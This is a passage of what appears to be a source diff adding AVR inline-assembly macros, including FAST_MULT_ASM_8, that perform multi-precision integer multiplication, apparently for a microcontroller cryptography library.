\n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r13, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r10, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r14, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r10, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r15, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r10, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r16, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r10, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r17, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r10, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r18, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r10, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r19, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r10, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r11, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r3, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r4, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r5, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r6, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r7, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r8, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "mul r9, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "st z+, r24 \n\t" \ + "st z+, r22 \n\t" \ + "eor r1, r1 \n\t" + +#define FAST_MULT_ASM_8 \ + "adiw r30, 30 \n\t" \ + "adiw r28, 30 \n\t" \ + "ld r2, x+ \n\t" \ + "ld r3, x+ \n\t" \ + "ld r12, y+ \n\t" \ + "ld r13, y+ \n\t" \ + "ldi r25, 0 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "st z+, r23 \n\t" \ + "st z+, r24 \n\t" \ + \ + "sbiw r30, 14 \n\t" \ + "sbiw r28, 12 \n\t" \ + "ld r12, y+ \n\t" \ + "ld r13, y+ \n\t" \ + "ld r14, y+ \n\t" \ + "ld r15, y+ \n\t" \ + "ld r16, y+ \n\t" \ + "ld r17, y+ \n\t" \ + "ld r18, y+ \n\t" \ + "ld r19, y+ \n\t" \ + "ld r20, y+ \n\t" \ + "ld r21, y+ \n\t" \ + "ld r4, x+ \n\t" \ + "ld r5, x+ \n\t" \ + "ld r6, x+ \n\t" \ + "ld r7, x+ \n\t" \ + "ld r8, x+ \n\t" \ + "ld r9, x+ \n\t" \ + "ld r10, x+ \n\t" \ + "ld r11, x+ \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 